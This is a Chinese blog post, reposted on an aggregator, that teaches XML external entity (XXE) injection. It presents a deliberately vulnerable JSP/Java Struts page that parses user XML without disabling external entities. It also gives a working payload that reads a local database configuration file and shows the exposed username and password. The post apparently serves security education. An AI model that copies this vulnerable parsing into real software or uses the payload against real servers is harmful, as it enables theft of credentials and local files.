码迷,mamicode.com
首页 > 数据库 > 详细

看好你的门-攻击服务端(2)-注入XML实体 窃取本地数据库配置

时间:2015-03-12 11:31:19      阅读:215      评论:0      收藏:0      [点我收藏+]

标签:安全   web安全   金融安全   注入xml   

首先需要声明,本文纯属一个毫无远见和真才实学的小小开发人员的愚昧见解,仅供用于web系统安全方面的参考。

1、XML注入

在我们经常开发、使用、运维的系统中,XML的使用频率是非常的高的。我们给服务器提供数据可能是XML(对用户而言不是,对系统和服务之间是),服务器返回给客户端的可能也是XML。
XML的功能本身非常强大,但是很多的时候我们并没有去理解它的强大的功能,而只是当它作为常规的数据传输的载体,于是这种漏洞的产生了。

2、 XML注入实体的案例

百度上好像发现了某个功能被XML注入实体 的漏洞;
腾讯上某功能好像也发现了类似的漏洞;

场景和前提说明

我们假设攻击者已经知道你的数据库配置文件以及所在位置
比如在:D:\ffm83 目录下的xml.ini 文件,现在我们要利用XML注入实体,来窃取这份数据库配置文件
xml.ini 文件的内容为:
username:user
password:pass

3、 XML注入实体的样例(页面部分)

仅用于示例和说明:

<%@ page language="java" import="java.util.*" pageEncoding="UTF-8"%>

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<title>阿饭同学的测试</title>
</head>
<body>
    <form action="aXmlQuery.action" method="post" name="form1">
        <table width="492" border="1">
            <tr><td>输入XML</td></tr>
            <tr>
                <td height="35">
                    <textarea  name="infos" cols="60"   rows="4"  ></textarea>
            </td>
            </tr>
            <tr align="center">
                <td colspan="2" bgcolor="#FFCC00"><input type="submit"  value="查询" />
                </td>
            </tr>
            <tr><td>欢迎您:<%=(String)request.getAttribute("username")%>   </td>
            </tr>
        </table>
    </form>
</body>
</html>

4、 XML注入实体的样例(JAVA实现部分)

package com.safe;
import java.io.ByteArrayInputStream;
import java.io.InputStream;

import javax.servlet.http.HttpServletRequest;

import org.apache.commons.configuration.XMLConfiguration;
import org.apache.commons.lang.xwork.StringUtils;
import org.apache.struts2.ServletActionContext;
import com.opensymphony.xwork2.ActionSupport;

public class EasyXmlQueryAction extends ActionSupport {
    private static final long serialVersionUID = 1931829246016041219L;

    public String execute() throws Exception {
        HttpServletRequest request = ServletActionContext.getRequest();
        String infos = request.getParameter("infos");
        String username = "";


        XMLConfiguration config = new XMLConfiguration();
        InputStream in = new ByteArrayInputStream(infos.getBytes());  
        try{
            config.load(in);        
            username = config.getString("username");        
        }catch(Exception e){
            e.printStackTrace();
        }
        request.setAttribute("username", username);
        System.out.println("获得的信息为:" + infos);
        return "success";
    }
}

5、运行

我们在页面上输入一个正常的XML:

<?xml version="1.0" encoding="UTF-8" ?>
<widgets>
<username>NAME</username>
<sex>man</sex>
</widgets>
页面上显示:欢迎您:NAME

下面我们利用XML的实体注入进行窃取系统内部的敏感信息:

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE foo [<!ENTITY name SYSTEM "file:///D:/ffm83/xml.ini" >] >
<widgets>
<username>&name;</username>
<sex>man</sex>
</widgets>

页面上显示:欢迎您:username:user password:pass

内部核心数据完全暴露了。

看好你的门-攻击服务端(2)-注入XML实体 窃取本地数据库配置

标签:安全   web安全   金融安全   注入xml   

原文地址:http://blog.csdn.net/ffm83/article/details/44219451

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!